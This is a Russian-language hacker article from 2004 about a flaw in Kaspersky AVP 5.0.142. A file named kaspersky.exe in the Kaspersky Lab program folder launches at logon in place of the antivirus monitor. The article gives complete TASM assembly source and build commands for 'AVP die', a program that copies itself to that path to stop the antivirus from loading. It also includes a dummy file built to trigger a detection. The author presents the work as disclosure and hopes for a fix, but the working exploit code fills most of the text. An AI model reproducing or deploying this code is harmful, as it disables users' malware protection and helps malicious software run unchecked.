буквально на днях, была обнаружена интересная особенность реализации
всеми любимого антивирусного продукта. Она заключается в том, что если
при установленном анивирусном мониторе(я всё это тестировал на AVP v.
5.0.142) создать файл в директории Program Files\Kaspersky Lab с именем kaspersky.exe, то после перезагрузки или выхода и входа в систему будет запущен наш файл. А антивирусный монитор запущен не будет.
Не правда ли интересная особенность? Теперь немного о том как, это
может быть использовано. Вот есть к примеру у нас вирус, нет не то, в
тюрьму не хочется ... Вот есть к примеру у нас следующий false alarm
или по русски - ложная тревога. По сути это обыкновенный ничем не
примечательный файл, вот только на него ругается антивирус.
К примеру вот такой:
;---8<----------[false.asm]----------------------------------------------------; ; На этот *.com файл ругается АВП ; ; Это false alarm, т.к. кроме вывода строки он ничего не делает ; ;------------------------------------------------------------------------------; seg000 segment byte public 'CODE' assume cs:seg000 org 100h assume es:nothing, ss:nothing, ds:seg000 public start start: push ax dec bx pop ax ;------------------------------------------------------------------------------; db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 500 dup(0) db 80h ; А db 0 ; db 0 ; db 80h ; А db 80h ; А db 0 ; db 0 ; db 0 ; db 80h ; А db 0 ; db 80h ; А db 0 ; db 0 ; db 80h ; А db 80h ; А db 80h ; А db 80h ; А db 0 ; db 80h ; А db 80h ; А db 0 ; db 0A8h ; и db 0 ; ; --------------------------------------------------------------------------- mov ah, 9 mov dx, offset vx_work ; "virii is work..." int 21h ; Выводим строку retn ; --------------------------------------------------------------------------- vx_work db 'virii is work, thx to AVP die v 0.01 by slon!$',0 seg000 ends end start ;---8<----------[false.asm]----------------------------------------------------;
Это обыкновенный *.com файл, но если попытаться запустить его то
антивирусный монитор заругается и не даст его запустить. С одной
стороны монитор прав по контрольным суммам смахивает на вирус, но ведь
не вирус ...
А если обыкновенная программа по контрольным суммам смахивает на
вирус, тогда нужно письмо писать в антивирусную контору и очень может
быть, что не в одну.
А вот если запустить следующую программу, ниже представлен её листинг:
;---8<----------[avp_die.asm]--------------------------------------------------; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; AVP die v 0.01 demo [ "Смерть кашпировскому Ж)" ] (x) slon 2004 ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; Что делает эта программа: ; ; ; ; 1) Она автоматически загружается (вместо AVP, проверено на AVP 5.0.142) ; ; 2) Не даёт загрузиться AVP :) ; ; ; ; Использование: ; ; ; ; 1) Запустить программу ; ; 2) logoff/reboot/poweroff по выбору Ж) ; ; ; ;----8<--------------------------[make.bat]------------------------------------; ; @echo off ; ; cls ; ; tasm32 /mx /m4 /z avpdie.asm ; ; tlink32 -x -V4.0 -Tpe -aa -c avpdie.obj,,,imp32i.lib ; ; del *.obj ; ;----8<--------------------------[make.bat]------------------------------------; ; Собирать файл при помощи make.bat и конечно же TASM 5.0 ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; .586 .model flat, stdcall locals @@ ;------------------------------------------------------------------------------; callx macro x ; extrn x:proc ; Макрос для упрощения call x ; использования WIN API endm ; .data ;------------------------------------------------------------------------------; start: push 0 ; Получаем callx GetModuleHandleA ; базу модуля push 500 ; push offset cmd_ ; push eax ; Узнаём имя файла из callx GetModuleFileNameA ; которого мы запущены push 500 ; push offset win_dir ; Получаем имя директории callx GetWindowsDirectoryA ; Windows push offset prog_ ; lea eax,win_dir ; push eax ; add eax,3 ; mov 4 ptr [eax],0 ; Готовим путь для копирования callx lstrcatA ; в "Program Files" push 1 ; push offset win_dir ; push offset cmd_ ; Копируем себя callx CopyFileA ; в "Program Files" push 0 ; push 0 ; push offset msg__ ; push 0 ; callx MessageBoxA ; Выводим красивое сообщение push 0 ; callx ExitProcess ; И завершаем нашу работу ;------------------------------------------------------------------------------; msg__ db 'Прощайте дядя кашпировский, AVP теперь убит!',0ah,0dh db 'AVP die v 0.01 (x) slon 2004',0 win_dir db 500 dup(0) sys_dir db 500 dup(0) cmd_ db 500 dup(0) prog_ db 'Program Files\Kaspersky Lab\kaspersky.EXE',0 ;------------------------------------------------------------------------------; .code nop ; Для красоты end start ;---8<----------[avp_die.asm]--------------------------------------------------;
То после её работы, наша ложная тревога без всяких проблем
запуститься. Что говорит об ошибках в реализации данного антивирусного
продукта. Я смею скромно надеяться, что данная ошибка будет в скором
времени поправлена. Не очень бы хотелось, встретить её в скором времени
в каком нибудь интернет червяке
|